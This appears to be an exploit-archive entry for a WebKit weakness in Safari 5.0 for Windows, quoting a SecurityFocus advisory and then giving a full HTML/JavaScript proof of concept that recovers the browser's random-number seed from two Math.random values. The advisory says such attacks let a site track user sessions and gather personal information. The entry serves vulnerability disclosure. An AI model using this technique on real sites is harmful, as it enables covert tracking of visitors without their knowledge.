WebKit – Insufficient Entropy Random Number Generator (2)
source: https://www.securityfocus.com/bid/44952/info WebKit is prone to a random-number-generator weakness. Attackers can exploit this issue by enticing an unsuspecting user into visiting a malicious webpage. Successful attacks will allow attackers to track user sessions and obtain personal information that can aid in further attacks. NOTE: This issue was previously covered in BID 44938 (Apple Safari Prior to 5.0.3 and 4.1.3 Multiple Security Vulnerabilities) but has been given its own record to better document it. <html> <body> <script> document.write("userAgent: "+navigator.userAgent); </script> <br> <br> <div id="foo"></div> <form> <input type="button" value="Calculate Safari 5.0 (Windows) PRNG seed and mileage" onClick="calc_seed()"> </form> <script> function calc_seed() { r1=Math.random()*Math.pow(2,32); r2=Math.random()*Math.pow(2,32); H=r1; L=(r2-(((H & 0xFFFF0000)>>>16) | ((H & 0x0000FFFF)<<16))) & 0xFFFFFFFF; // 10000 is just an arbitrary limit to make sure the // algorithm doesn't run into an endless loop on // non-vulnerable browsers for (k=0;k<10000;k++) { L=(L-H) & 0xFFFFFFFF; H=(H-L) & 0xFFFFFFFF; H=((H & 0xFFFF0000)>>>16) | ((H & 0x0000FFFF)<<16); if ((H^L)==0x49616E42) { document.getElementById("foo").innerText= "PRNG Seed: "+H+" "+ "(First page rendered: "+ (new Date(H*1000)).toString()+")\n"+ "PRNG mileage: "+k; return; } } document.getElementById("foo").innerText= "Could not find seed\n"+ "Are you sure it's Safari 5.0 for Windows?"; return; } </script> </body> </html> |